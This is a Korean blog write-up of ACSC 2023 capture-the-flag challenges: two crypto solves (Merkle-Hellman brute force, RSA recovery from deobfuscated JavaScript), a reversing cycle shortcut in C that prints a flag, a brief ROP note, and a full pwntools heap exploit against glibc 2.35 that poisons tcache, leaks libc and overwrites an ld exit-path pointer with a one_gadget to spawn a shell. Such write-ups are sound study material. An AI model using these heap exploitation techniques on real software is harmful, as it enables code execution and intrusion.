Sechack

ACSC 2023 - Write up 본문

CTF

ACSC 2023 - Write up

Sechack 2023. 2. 26. 13:08
반응형

원래 안하려고 하다가 새벽에 잠깐 봤는데 어쩌다보니 빡겜하게 되었다.

 

 

한국 7등 GG

 

 

글로벌 순위는 50등이다. 한국 top3안에 들어야 아시아 대표로 선발될 가능성이 생기는데 언젠가 한번 해보고싶다.

중간에 참여한거라 24시간 대회인데 이미 15시간 지난 시점인 새벽 3시부터 오후 12시까지 빡겜했다. 시간부족으로 웹을 못봤는데 시간 좀 더 있었으면 웹 한두개 더 풀었을것 같긴 하다.

 

 

Merkle Hellman

 

#!/usr/bin/env python3
import random
import binascii

def egcd(a, b):
	if a == 0:
		return (b, 0, 1)
	else:
		g, y, x = egcd(b % a, a)
		return (g, x - (b // a) * y, y)

def modinv(a, m):
	g, x, y = egcd(a, m)
	if g != 1:
		raise Exception('modular inverse does not exist')
	else:
		return x % m

def gcd(a, b): 
	if a == 0: 
		return b 
	return gcd(b % a, a) 

flag = open("flag.txt","rb").read()
# Generate superincreasing sequence
w = [random.randint(1,256)]
s = w[0]
for i in range(6):
	num = random.randint(s+1,s+256)
	w.append(num)
	s += num

# Generate private key
total = sum(w)
q = random.randint(total+1,total+256)
r = 0
while gcd(r,q) != 1:
	r = random.randint(100, q)

# Calculate public key
b = []
for i in w:
	b.append((i * r) % q)

# Encrypting
c = []
for f in flag:
	s = 0
	for i in range(7):
		if f & (64>>i):
			s += b[i]
	c.append(s)

print(f"Public Key = {b}")
print(f"Private Key = {w,q}")
print(f"Ciphertext = {c}")

# Output:
# Public Key = [7352, 2356, 7579, 19235, 1944, 14029, 1084]
# Private Key = ([184, 332, 713, 1255, 2688, 5243, 10448], 20910)
# Ciphertext = [8436, 22465, 30044, 22465, 51635, 10380, 11879, 50551, 35250, 51223, 14931, 25048, 7352, 50551, 37606, 39550]

 

공개키암호 흉내낸거 같은데 분석해보니까 굳이 복호화 짤필요 없이 순열돌려서 brute force하면 충분히 뚫릴것같아서 brute force로 뚫었다.

 

import random
import itertools

def gcd(a, b): 
	if a == 0: 
		return b 
	return gcd(b % a, a)

key = [7352, 2356, 7579, 19235, 1944, 14029, 1084]
c = [8436, 22465, 30044, 22465, 51635, 10380, 11879, 50551, 35250, 51223, 14931, 25048, 7352, 50551, 37606, 39550]

for i in c:
    n = 0
    for j in range(1, 8):
        for k in list(itertools.permutations(key, j)):
            if sum(k) == i:
                for l in k:
                    n += 64 >> key.index(l)
                print(chr(n), end="")
                break

 

 

근데 굳이 이렇게 할필요 없이 그냥 1byte brute force하는게 훨씬 빠르고 좋다.

 

 

serverless

 

 

 

복호화 짜라면서 암호화된 문자열을 준다.

 

var a = document['querySelector']('form');
a['addEventListener']('submit', function (c) {
    c['preventDefault']();
    var d = document['querySelector']('textarea[name=\'message\']')['value'],
        e = document['querySelector']('input[name=\'password\']')['value'],
        f = document['querySelector']('input[name=\'encrypt\']'),
        g = b(d, e),
        h = document['querySelector']('p.response');
    h && h['remove']();
    var i = document['createElement']('p');
    i['classList']['add']('response'), i['textContent'] = 'Encrypted message: ' + g, f['insertAdjacentElement']('afterend', i);
});

function b(d, f) {
    var g = [0x9940435684b6dcfe5beebb6e03dc894e26d6ff83faa9ef1600f60a0a403880ee166f738dd52e3073d9091ddabeaaff27c899a5398f63c39858b57e734c4768b7n, 0xbd0d6bef9b5642416ffa04e642a73add5a9744388c5fbb8645233b916f7f7b89ecc92953c62bada039af19caf20ecfded79f62d99d86183f00765161fcd71577n, 0xa9fe0fe0b400cd8b58161efeeff5c93d8342f9844c8d53507c9f89533a4b95ae5f587d79085057224ca7863ea8e509e2628e0b56d75622e6eace59d3572305b9n, 0x8b7f4e4d82b59122c8b511e0113ce2103b5d40c549213e1ec2edba3984f4ece0346ab1f3f3c0b25d02c1b21d06e590f0186635263407e0b2fa16c0d0234e35a3n, 0xf840f1ee2734110a23e9f9e1a05b78eb711c2d782768cef68e729295587c4aa4af6060285d0a2c1c824d2c901e5e8a1b1123927fb537f61290580632ffea0fbbn, 0xdd068fd4984969a322c1c8adb4c8cc580adf6f5b180b2aaa6ec8e853a6428a219d7bffec3c3ec18c8444e869aa17ea9e65ed29e51ace4002cdba343367bf16fdn, 0x96e2cefe4c1441bec265963da4d10ceb46b7d814d5bc15cc44f17886a09390999b8635c8ffc7a943865ac67f9043f21ca8d5e4b4362c34e150a40af49b8a1699n, 0x81834f81b3b32860a6e7e741116a9c446ebe4ba9ba882029b7922754406b8a9e3425cad64bda48ae352cdc71a7d9b4b432f96f51a87305aebdf667bc8988d229n, 0xd8200af7c41ff37238f210dc8e3463bc7bcfb774be93c4cff0e127040f63a1bce5375de96b379c752106d3f67ec8dceca3ed7b69239cf7589db9220344718d5fn, 0xb704667b9d1212ae77d2eb8e3bd3d5a4cd19aa36fc39768be4fe0656c78444970f5fc14dc39a543d79dfe9063b30275033fc738116e213d4b6737707bb2fd287n],
        h = [0xd4aa1036d7d302d487e969c95d411142d8c6702e0c4b05e2fbbe274471bf02f8f375069d5d65ab9813f5208d9d7c11c11d55b19da1132c93eaaaba9ed7b3f9b1n, 0xc9e55bae9f5f48006c6c01b5963199899e1cdf364759d9ca5124f940437df36e8492b3c98c680b18cac2a847eddcb137699ffd12a2323c9bc74db2c720259a35n, 0xcbcdd32652a36142a02051c73c6d64661fbdf4cbae97c77a9ce1a41f74b45271d3200678756e134fe46532f978b8b1d53d104860b3e81bdcb175721ab222c611n, 0xf79dd7feae09ae73f55ea8aa40c49a7bc022c754db41f56466698881f265507144089af47d02665d31bba99b89e2f70dbafeba5e42bdac6ef7c2f22efa680a67n, 0xab50277036175bdd4e2c7e3b7091f482a0cce703dbffb215ae91c41742db6ed0d87fd706b622f138741c8b56be2e8bccf32b7989ca1383b3d838a49e1c28a087n, 0xb5e8c7706f6910dc4b588f8e3f3323503902c1344839f8fcc8d81bfa8e05fec2289af82d1dd19afe8c30e74837ad58658016190e070b845de4449ffb9a48b1a7n, 0xc351c7115ceffe554c456dcc9156bc74698c6e05d77051a6f2f04ebc5e54e4641fe949ea7ae5d5d437323b6a4be7d9832a94ad747e48ee1ebac9a70fe7cfec95n, 0x815f17d7cddb7618368d1e1cd999a6cb925c635771218d2a93a87a690a56f4e7b82324cac7651d3fbbf35746a1c787fa28ee8aa9f04b0ec326c1530e6dfe7569n, 0xe226576ef6e582e46969e29b5d9a9d11434c4fcfeccd181e7c5c1fd2dd9f3ff19641b9c5654c0f2d944a53d3dcfef032230c4adb788b8188314bf2ccf5126f49n, 0x84819ec46812a347894ff6ade71ae351e92e0bd0edfe1c87bda39e7d3f13fe54c51f94d0928a01335dd5b8689cb52b638f55ced38693f0964e78b212178ab397n],
        j = Math['floor'](Math['random']() * (0x313 * -0x8 + 0x24c1 + -0xc1f)),
        k = Math['floor'](Math['random']() * (-0x725 + -0x1546 + 0x1c75)),
        l = g[j],
        o = h[k],
        r = l * o,
        s = Math['floor'](Math['random']() * (0x2647 + 0x1 * 0x2f5 + -0x2937)),
        t = Math['pow'](-0x14e6 + 0x43 * 0x55 + -0x7 * 0x31, Math['pow'](-0x14e1 * 0x1 + -0x2697 + 0x2e * 0x14b, s)) + (-0x235d + 0x2 * 0x82b + 0x3a * 0x54);

    function u(A) {
        var B = new TextEncoder()['encode'](A);
        let C = 0x0n;
        for (let D = 0x13c8 + 0x1 * 0x175b + -0x2b23; D < B['length']; D++) {
            C = (C << 0x8n) + BigInt(B[D]);
        }
        return C;
    }
    var v = u(d);

    function w(A, B, C) {
        if (B === -0x9d + 0x993 + 0x1f * -0x4a) return 0x1n;
        return B % (0x1 * 0x2dc + 0x28 * -0x12 + -0xa) === -0x2446 * -0x1 + 0x3 * 0xcd5 + -0x4ac5 * 0x1 ? w(A * A % C, B / (-0x6a3 * 0x5 + 0xcba + 0x1477 * 0x1), C) : A * w(A, B - (-0x1cd0 + 0x11fc + 0xad5), C) % C;
    }
    var x = w(v, t, r);
    let y = [];
    while (x > 0x1 * 0x371 + 0x1519 + -0x188a) {
        y['push'](Number(x & 0xffn)), x = x >> 0x8n;
    }
    y['push'](Number(s)), y['push'](Number(k)), y['push'](Number(j));
    var z = new TextEncoder()['encode'](f);
    for (let A = -0xa00 + 0x1 * 0x20e0 + -0x4 * 0x5b8; A < y['length']; ++A) {
        y[A] = y[A] ^ z[A % z['length']];
    }
    return btoa(y['reverse']());
}

 

암호화 로직을 까보면 더러워보여서 분석하기 싫다. 어느정도 난독화가 걸린거같지만 못알아볼 정도는 아니어서 그냥 하나하나 로직 분석했다. 좀 보다보니까 별거 없었다. 그냥 숫자 여러개 더하고 곱하고 빼고 연산 여러번 해서 보기 더럽게 만든게 다인데 쟤네들만 잘 치환해주면 예쁜 코드로 탄생한다. u함수는 문자열을 hex로 변환해주는 함수이고 w함수는 square and multiply알고리즘으로 $A^{B}\mod{C}$를 계산하는 함수이다. 여기서 RSA라는 느낌이 왔고 w함수에 전달되는 인자를 보니까 $A$는 평문, $B$는 3, 5, 17, 257, 65537중에 하나이고 $C$는 $l$과 $o$의 곱인데 $l$과 $o$를 보면 전부 긴 소수이다. 즉 RSA에서의 공개키 $c, e, n$에 대응된다고 볼 수 있다. 그리고 우리는 $p, q$에 해당하는 값들도 알고 있으니까 $d$구해서 복호화 하면 된다. 맨 아래 루틴은 암호화된 16진수 1byte단위로 분해하고 password랑 xor하는거라 크게 신경쓸거 없다. 문제에서 password는 acscpass로 암호화했다고 알려줬으니까 신경 안써도 된다. 아래 코드 자세히 보면 문제에서 준 문자열을 암호화할때 $p, q$를 어떤 소수를 선택했는지 인덱스가 들어가 있고 $e$값도 알 수 있도록 숫자들을 넣어주는걸 볼 수 있다.

 

from Crypto.Util.number import inverse, long_to_bytes
import base64
import itertools

enc = list(map(int, base64.b64decode("MTE3LDk2LDk4LDEwNyw3LDQzLDIyMCwyMzMsMTI2LDEzMSwyMDEsMTUsMjQ0LDEwNSwyNTIsMTI1LDEwLDE2NiwyMTksMjMwLDI1MCw4MiwyMTEsMTAxLDE5NSwzOSwyNDAsMTU4LDE3NCw1OSwxMDMsMTUzLDEyMiwzNiw2NywxNzksMjI0LDEwOCw5LDg4LDE5MSw5MSwxNCwyMjQsMTkzLDUyLDE4MywyMTUsMTEsMjYsMzAsMTgzLDEzMywxNjEsMTY5LDkxLDQ4LDIyOSw5OSwxOTksMTY1LDEwMCwyMTgsMCwxNjUsNDEsNTUsMTE4LDIyNywyMzYsODAsMTE2LDEyMCwxMjUsMTAsMTIzLDEyNSwxMzEsMTA2LDEyOCwxNTQsMTMzLDU1LDUsNjMsMjM2LDY5LDI3LDIwMSwxMTgsMTgwLDc0LDIxMywxMzEsNDcsMjAwLDExNiw1Miw0OSwxMjAsODYsMTI0LDE3OCw5MiwyNDYsMTE5LDk4LDk1LDg2LDEwNCw2NCwzMCw1NCwyMCwxMDksMTMzLDE1NSwxMjIsMTEsODcsMTYsMjIzLDE2MiwxNjAsMjE1LDIwOSwxMzYsMjQ5LDIyMSwxMzYsMjMy").split(b",")))[::-1]
key = b"acscpass"
for i in range(len(enc)):
    enc[i] ^= key[i%8]

c = 0
for i in range(len(enc)-3):
    c += enc[i] << 8*i

pli = [0x9940435684b6dcfe5beebb6e03dc894e26d6ff83faa9ef1600f60a0a403880ee166f738dd52e3073d9091ddabeaaff27c899a5398f63c39858b57e734c4768b7, 0xbd0d6bef9b5642416ffa04e642a73add5a9744388c5fbb8645233b916f7f7b89ecc92953c62bada039af19caf20ecfded79f62d99d86183f00765161fcd71577, 0xa9fe0fe0b400cd8b58161efeeff5c93d8342f9844c8d53507c9f89533a4b95ae5f587d79085057224ca7863ea8e509e2628e0b56d75622e6eace59d3572305b9, 0x8b7f4e4d82b59122c8b511e0113ce2103b5d40c549213e1ec2edba3984f4ece0346ab1f3f3c0b25d02c1b21d06e590f0186635263407e0b2fa16c0d0234e35a3, 0xf840f1ee2734110a23e9f9e1a05b78eb711c2d782768cef68e729295587c4aa4af6060285d0a2c1c824d2c901e5e8a1b1123927fb537f61290580632ffea0fbb, 0xdd068fd4984969a322c1c8adb4c8cc580adf6f5b180b2aaa6ec8e853a6428a219d7bffec3c3ec18c8444e869aa17ea9e65ed29e51ace4002cdba343367bf16fd, 0x96e2cefe4c1441bec265963da4d10ceb46b7d814d5bc15cc44f17886a09390999b8635c8ffc7a943865ac67f9043f21ca8d5e4b4362c34e150a40af49b8a1699, 0x81834f81b3b32860a6e7e741116a9c446ebe4ba9ba882029b7922754406b8a9e3425cad64bda48ae352cdc71a7d9b4b432f96f51a87305aebdf667bc8988d229, 0xd8200af7c41ff37238f210dc8e3463bc7bcfb774be93c4cff0e127040f63a1bce5375de96b379c752106d3f67ec8dceca3ed7b69239cf7589db9220344718d5f, 0xb704667b9d1212ae77d2eb8e3bd3d5a4cd19aa36fc39768be4fe0656c78444970f5fc14dc39a543d79dfe9063b30275033fc738116e213d4b6737707bb2fd287]
qli = [0xd4aa1036d7d302d487e969c95d411142d8c6702e0c4b05e2fbbe274471bf02f8f375069d5d65ab9813f5208d9d7c11c11d55b19da1132c93eaaaba9ed7b3f9b1, 0xc9e55bae9f5f48006c6c01b5963199899e1cdf364759d9ca5124f940437df36e8492b3c98c680b18cac2a847eddcb137699ffd12a2323c9bc74db2c720259a35, 0xcbcdd32652a36142a02051c73c6d64661fbdf4cbae97c77a9ce1a41f74b45271d3200678756e134fe46532f978b8b1d53d104860b3e81bdcb175721ab222c611, 0xf79dd7feae09ae73f55ea8aa40c49a7bc022c754db41f56466698881f265507144089af47d02665d31bba99b89e2f70dbafeba5e42bdac6ef7c2f22efa680a67, 0xab50277036175bdd4e2c7e3b7091f482a0cce703dbffb215ae91c41742db6ed0d87fd706b622f138741c8b56be2e8bccf32b7989ca1383b3d838a49e1c28a087, 0xb5e8c7706f6910dc4b588f8e3f3323503902c1344839f8fcc8d81bfa8e05fec2289af82d1dd19afe8c30e74837ad58658016190e070b845de4449ffb9a48b1a7, 0xc351c7115ceffe554c456dcc9156bc74698c6e05d77051a6f2f04ebc5e54e4641fe949ea7ae5d5d437323b6a4be7d9832a94ad747e48ee1ebac9a70fe7cfec95, 0x815f17d7cddb7618368d1e1cd999a6cb925c635771218d2a93a87a690a56f4e7b82324cac7651d3fbbf35746a1c787fa28ee8aa9f04b0ec326c1530e6dfe7569, 0xe226576ef6e582e46969e29b5d9a9d11434c4fcfeccd181e7c5c1fd2dd9f3ff19641b9c5654c0f2d944a53d3dcfef032230c4adb788b8188314bf2ccf5126f49, 0x84819ec46812a347894ff6ade71ae351e92e0bd0edfe1c87bda39e7d3f13fe54c51f94d0928a01335dd5b8689cb52b638f55ced38693f0964e78b212178ab397]
eli = [3, 5, 17, 257, 65537]

p = pli[enc[-1]]
q = qli[enc[-2]]
n = p*q
e = eli[enc[-3]]

d = inverse(e, (p-1)*(q-1))
print(long_to_bytes(pow(c, d, n)))

 

 

 

Vaccine

 

 

뭐 볼것도 없다. 처음에 널바이트 넣어서 if문 안걸리게 해준다음 그냥 rop하면 된다.

 

 

 

ngo

 

 

 

문자열 검색해서 메인 루틴처럼 보이는곳으로 왔는데 플래그를 그냥 출력해주는거같다. 실행해보면

 

 

잘 출력되다가 속도가 기하급수적으로 느려진다. sub_14000159C함수는 그냥 전달하는 숫자 ascii로 출력해주는거라 별 의미는 없고 루틴 보면 플래그 하나 출력할때마다 42씩 곱하면서 안쪽에서 도는 반복문의 반복 횟수를 기하급수적으로 늘리고있다.

 

 

반복되는 연산은 단순 비트연산이고 dword자료형에서 연산된다. 계속 반복되는 연산은 dword라는 한정된 공간 안에 있으니까 언젠가는 겹치는게 생기고 원점으로 돌아올 수밖에 없다. 결국 반복 엄청 많이 하는것도 사이클이 계속 도는거라 사이클 도는 주기만 찾으면 간단하게 모듈러 해서 연산 횟수 확 줄일 수 있다. dword니까 적어도 42억번 돌면 한번은 겹치게 되어있고 C언어 기준으로 최악의 경우에도 40초당 플래그 한글자를 구할 수 있게 된다. 그래서 한번 사이클 주기를 봤는데 역시나 unsigned int max가 될때까지 하나도 겹치지 않게 만들어뒀다. 어떻게 이런게 되나 신기하긴 한데 주기 알았으니까 C로 반복문 횟수 줄이도록 구현하면 플래그 금방 뽑힌다.

 

#include <stdio.h>

unsigned int n = 0x3D2964F0;
unsigned char xortable[12] = {
    0x01, 0x19, 0xEF, 0x5A, 0xFA, 0xC8, 0x2E, 0x69, 0x31, 0xD7, 0x81, 0x21
};

int main(void){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    unsigned long long v4 = 1;
    for(int i = 0; i < 12; i++){
        for(unsigned long long j = 0; j < v4; j++){
            int v1 = n & 1;
            n = n >> 1;
            n ^= -v1 & 0x80200003;
        }
        printf("%c", (n & 0xff) ^ xortable[i]);
        v4 *= 42;
        v4 %= 0xffffffff;
    }

    return 0;
}

 

python은 1초에 100만번 정도로 너무 느리니까 C언어를 써야 한다.

 

 

ACSC{yUhFgRvQ2Afi}가 플래그다.

 

 

re

 

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

static int getnline(char *buf, int size);
static int getint(void);
static void edit(void);

struct Memo {
	size_t size;
	char* buf;
} mlist[10];

__attribute__((constructor))
static int init(){
	alarm(30);
	setbuf(stdin, NULL);
	setbuf(stdout, NULL);
	return 0;
}

int main(void){
	for(;;){
		printf("\nMENU\n"
				"1. Edit\n"
				"2. List\n"
				"0. Exit\n"
				"> ");

		switch(getint()){
			case 0:
				goto end;
			case 1:
				edit();
				break;
			case 2:
				for(int i=0; i<sizeof(mlist)/sizeof(struct Memo); i++)
					if(mlist[i].size > 0 && mlist[i].buf)
						printf("[%d] %.*s\n", i, (int)mlist[i].size, mlist[i].buf);
				break;
		}
	}

end:
	puts("Bye.");
	return 0;
}

static void edit(void){
	unsigned idx, size;

	printf("Index: ");
	if((idx = getint()) >= sizeof(mlist)/sizeof(struct Memo)){
		puts("Out of list");
		return;
	}

	printf("Size: ");
	if((size = getint()) > 0x78){
		puts("Too big memo");
		return;
	}

	char *p = realloc(mlist[idx].buf, size);
	if(size > mlist[idx].size)
		mlist[idx].buf = p;
	mlist[idx].size = size;

	printf("Memo: ");
	getnline(mlist[idx].buf, size);

	puts("Done");
}

static int getnline(char *buf, int size){
	int len;

	if(size <= 0 || (len = read(STDIN_FILENO, buf, size-1)) <= 0)
		return -1;

	if(buf[len-1]=='\n')
		len--;
	buf[len] = '\0';

	return len;
}

static int getint(void){
	char buf[0x10] = {};

	getnline(buf, sizeof(buf));
	return atoi(buf);
}

 

소스코드를 준다. 어차피 바이너리 엄청 작아서 분석할것도 없는데 굳이 소스코드까지 줘야하나 싶다. 저기 realloc이라는 녀석은 size를 0을 주면 free를 한다. 근데 free하고 주소 안지워서 free chunk를 직접 수정할수도 있고 size를 두번 0으로 줘서 double free를 낼수도 있다. 문제 환경이 glibc 2.35로 최신 libc긴 하지만 free chunk가 직접 수정되는 상태에서 fake chunk만들고 병합해서 unsorted bin에 넣고 libc leak한다음 aaw하는건 크게 어렵지 않다. 문제는 어딜 덮냐인데 puts나 printf에서 부르는 libc got를 원가젯으로 덮는건 원가젯이 안맞아서 터진다. 2군데를 덮어서 system("/bin/sh")를 만들수도 있지만 최신 버전이라 그런지 rtld쪽 함수 포인터가 사라져있길래 답이 없었다. 그래서 exit루틴을 따라가면서 덮을만한 함수포인터를 보던 중에 쓰기권한 있는 ld영역을 참조해서 함수 주소 가져오는걸 발견하고 바로 조져줬다. 덮으니까 이상한데서 터지길 보니까 바로 위에 루틴에서 이중포인터 형태로 먼저 참조를 하길래 맞춰서 호출되게 해줬다. 다행히 이 위치에서는 원가젯이 먹혔다. 그리고 로되리안때문에 매우 빡쳤었는데 로되리안 상황에서 0x1000씩 더하고 빼는 brute force는 언제든 옳다는걸 다시한번 기억하게 되었다. 제발 힙 문제는 Dockerfile을 제공했으면 좋겠다. libc만 던져주면 ld쓸땐 offset안맞아서 매우 화가 난다.

 

from pwn import *

sla = lambda x, y : r.sendlineafter(x, y)
sa = lambda x, y : r.sendafter(x, y)
rvu = lambda x : r.recvuntil(x)
rvn = lambda x : r.recvn(x)

def edit(idx, size, data=""):
    sla("> ", "1")
    sla("Index: ", str(idx))
    sla("Size: ", str(size))
    if size > 1:
        sa("Memo: ", data)

def view():
    sla("> ", "2")

def decrypt(cipher):
    key = 0
    plain = 0

    for i in range(1, 6):
        bits = 64-12*i
        if bits < 0:
            bits = 0
        plain = ((cipher ^ key) >> bits) << bits
        key = plain >> 12

    return plain

offset = 0x1000
plus = 0

while True:
    for i in range(2):
        if i % 2:
            plus = -offset
        else:
            plus = offset
        #r = process("./chall")
        r = remote("re.chal.ctf.acsc.asia", 9999)
        edit(0, 0x30, "Sechack")
        edit(1, 0x30, "Sechack")
        edit(0, 0)
        edit(2, 0x30, "Sechack")
        edit(1, 0)
        edit(0, 0)
        view()
        rvu("[2] ")
        heap_base = decrypt(u64(rvn(6).ljust(8, b"\x00"))) - 0x2e0
        log.info(hex(heap_base))

        edit(3, 0x40, p64(0)+p64(0x531))
        edit(4, 0x20, "Sechack")
        for i in range(40):
            edit(5, 0)

        edit(2, 0x20, p64((heap_base+0x330) ^ (heap_base >> 12)))
        edit(5, 0x30, "Sechack")
        edit(6, 0x30, "Sechack")
        edit(6, 0)
        edit(7, 0x30, "Sechack")
        view()

        libc_leak = u64(rvu("\x7f")[-6:].ljust(8, b"\x00"))
        libc_base = libc_leak - 0x219ce0
        ld_base = libc_base + 0x230000
        exitaaw = ld_base + 0x3b2e0 + plus
        system = libc_base + 0x50d60
        one_gadget = libc_base + [0x50a37, 0xebcf1, 0xebcf5, 0xebcf8][1]
        log.info(hex(libc_base))

        edit(5, 0)
        edit(6, 0)
        edit(6, 0x30, p64((exitaaw) ^ (heap_base >> 12)))
        edit(8, 0x30, p64(one_gadget))
        try:
            edit(9, 0x30, p64((heap_base + 0x330) - 0x3d88))
            sla("> ", "0")
            r.interactive()
        except:
            r.close()
    offset += 0x1000
    log.info(hex(offset))

 

 

ld는 offset이 살짝 달랐다. brute force는 로되리안 상황에서 언제나 옳다.

반응형

'CTF' 카테고리의 다른 글

ImaginaryCTF 2023 - window-of-opportunity  (2) 2023.07.25
Codegate2023 예선 write up  (1) 2023.06.19
2022 Christmas CTF 후기  (1) 2022.12.27
2022 Layer7 CTF write up + 후기  (0) 2022.12.19
TUCTF 2022 - Write up  (0) 2022.12.04
Comments